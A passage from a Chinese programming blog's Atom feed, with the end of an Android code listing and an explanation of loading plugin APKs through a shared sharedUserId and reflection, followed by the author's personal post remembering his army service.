Button(&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: #008080;"&gt;149&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt;150&lt;/span&gt;                     btn.setText(clas+" -&amp;gt; "+method+" 执行");&lt;br /&gt;&lt;span style="color: #008080;"&gt;151&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt;152&lt;/span&gt;                     &lt;br /&gt;&lt;span style="color: #008080;"&gt;153&lt;/span&gt;                     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;点击后，就执行插件所提供的方法&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;154&lt;/span&gt;                     btn.setOnClickListener(&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; OnClickListener() {&lt;br /&gt;&lt;span style="color: #008080;"&gt;155&lt;/span&gt;                         &lt;br /&gt;&lt;span style="color: #008080;"&gt;156&lt;/span&gt;                         @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt;157&lt;/span&gt;                         &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onClick(View v) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;158&lt;/span&gt;                             &lt;span style="color: #0000ff;"&gt;try&lt;/span&gt; {&lt;br /&gt;&lt;span style="color: #008080;"&gt;159&lt;/span&gt;                                 Class c=context.getClassLoader().loadClass(plugins.get(e.curScreen).getPakageName()+"."+clas);&lt;br /&gt;&lt;span style="color: #008080;"&gt;160&lt;/span&gt;                                 Object o1=c.newInstance();&lt;br /&gt;&lt;span style="color: #008080;"&gt;161&lt;/span&gt;                                 &lt;br /&gt;&lt;span style="color: #008080;"&gt;162&lt;/span&gt;                                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里注意，context实际上就是句柄，这里如果涉及到窗体，plugin的句柄其实是不行的，因为它没有可以&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;163&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;依附的窗体&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;164&lt;/span&gt; &lt;span style="color: #008000;"&gt;                                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;165&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这个context是plugin的，通过测试，dialog这类行不通,Toast是可以的，因为&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;166&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;Toast是依附于屏幕主窗口的&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;167&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;c.getMethod(method,Context.class).invoke(o1,context); &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;168&lt;/span&gt; &lt;span style="color: #008000;"&gt;                                                        &lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;169&lt;/span&gt; &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;这里则传递的是主程序的句柄&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;170&lt;/span&gt;                                 c.getMethod(method,Context.&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt;).invoke(o1,AndoirdpluginActivity.&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: #008080;"&gt;171&lt;/span&gt;                             &lt;br /&gt;&lt;span style="color: #008080;"&gt;172&lt;/span&gt;                             } &lt;span style="color: #0000ff;"&gt;catch&lt;/span&gt; (Exception e) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;173&lt;/span&gt;                                 &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; TODO Auto-generated catch block&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;174&lt;/span&gt;                                 e.printStackTrace();&lt;br /&gt;&lt;span style="color: #008080;"&gt;175&lt;/span&gt;                             } &lt;br /&gt;&lt;span style="color: #008080;"&gt;176&lt;/span&gt;                         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;177&lt;/span&gt;                     });&lt;br /&gt;&lt;span style="color: #008080;"&gt;178&lt;/span&gt;                     llMainLayout.addView(btn);&lt;br /&gt;&lt;span style="color: #008080;"&gt;179&lt;/span&gt;                 }&lt;br /&gt;&lt;span style="color: #008080;"&gt;180&lt;/span&gt;             }&lt;br /&gt;&lt;span style="color: #008080;"&gt;181&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;182&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;183&lt;/span&gt;         } &lt;span style="color: #0000ff;"&gt;catch&lt;/span&gt; (Exception e1) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;184&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; TODO Auto-generated catch block&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;185&lt;/span&gt;             e1.printStackTrace();&lt;br /&gt;&lt;span style="color: #008080;"&gt;186&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;187&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt;188&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt;189&lt;/span&gt; }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 看注释吧，主要有两点&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&lt;strong&gt;插件的扫描&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 这种方案是，每个插件以一个单独的apk发布，这样可以在程序中很灵活的知道是否有新的插件，提示用户下载安装，插件的apk清单描述为Action为非Luncher，Category为Default。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 主程序侦听packgeManager的安装完成广播，之后扫描同包名（插件当然得这么定义了，只要通过packgeManager能判断是否为自己的插件就行）的apk，之后列出来，让用户选择是否加载。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: #ff6600;"&gt;插件的加载与调用&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;在获取包后，通过调用系统的api可以得到 &lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;sharedUserId&lt;/span&gt;&lt;/strong&gt; 与主程序相同的apk的context，也就是句柄，获得了句柄，通过这个context可以得到classloader，之后就简单了，如何知道这个插件提供什么功能？&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;这个可以用xml描述，比如这个xml是插件apk的一个资源，就像spring这个框架一样。xml中描述了这个插件有哪些类，提供哪些方法，这些方法需要传入什么参数，返回什么类型。我的demo中为了方便，是用接口，每个插件有一个类提供一个相同的方法，来获取一个map集合，获得这个插件的描述。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ok,到这里就知道加载的插件提供什么功能了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;在上面贴出来的代码中，是循环遍历每个插件，并把每个插件提供的功能以Button的方式显示给用户，点击按钮，就执行了插件的功能，执行时，并不是activity转向（这样就无意义了），而是在主程序自身的context句柄中执行，也就是在自身的窗体中执行。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;代码中有一段注释，说明，如果插件有用到context时，记得传递进去的是主程序的context，这样窗体才能附加到这个句柄中，如果传递的是插件的context，它没有一个窗体实例，是无法将一些窗体附加进去的，无任何效果。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;这里只提供思路，有时间的话研究一下，看能不能搞个通用的框架出来。还有另一种方法，不通过apk形式，以后会写出来。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 这里有一些待验证的问题，&lt;span style="text-decoration: line-through;"&gt;比如插件的权限问题，如果插件需要的一些权限在主程序中没有声明，会是个什么情况，能不能实时申请呢？这个需要高人指点。或者在主程序中把能声明的权限预先声明了也不错。&lt;/span&gt;还有就是native层代码的问题，如果插件包含了native层代码，会是个什么情况，这也需要验证。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 16px;"&gt;&lt;strong&gt;&lt;span style="color: #0000ff;"&gt;这是demo下载：&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://files.cnblogs.com/hangxin1940/android_plugin_program.rar"&gt;http://files.cnblogs.com/hangxin1940/android_plugin_program.rar&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff9900; font-size: 15px;"&gt;原创，转载请注明 &amp;nbsp;http://hangxin1940.cnblogs.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 16px;"&gt;&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;最后 &amp;nbsp; &amp;nbsp;本人水平有限，难免有些疏漏或者错误，还请指正！！！&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2288169.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2011/12/14/2288169.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2011/12/03/2272875.html</id><title type="text">退伍一年了</title><summary type="text">戎马两年，苦了两年，很充实的两年，战友们，你们现在在那？？还记得我们在高原的时候吗。。。。八嘎，小唐。。现在在干什么呢。。。大家的音容笑貌历历在目。我们曾艰难地走过面对满目疮痍，我们义无反顾马勒戈壁上的汛情，我们也很蛋疼。。。各种苦与乐，我们一同度过。。。。。也请战友们时常想起我这个苦逼的程序员。。。</summary><published>2011-12-02T16:48:00Z</published><updated>2011-12-02T16:48:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/03/2272875.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/03/2272875.html"/><content type="html">&lt;p&gt;戎马两年，苦了两年，很充实的两年，战友们，你们现在在那？？&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;还记得我们在高原的时候吗。。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300000070.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;八嘎，小唐。。现在在干什么呢。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300045883.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;大家的音容笑貌历历在目。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300211883.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;我们曾艰难地走过&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300241521.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;面对满目疮痍，我们义无反顾&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300263532.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;马勒戈壁上的汛情，我们也很蛋疼。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;各种苦与乐，我们一同度过。。。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/31082/2011120300455262.jpg" alt="" width="300" /&gt;&lt;/p&gt;&lt;p&gt;也请战友们时常想起我这个苦逼的程序员。。。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2272875.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2011/12/03/2272875.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
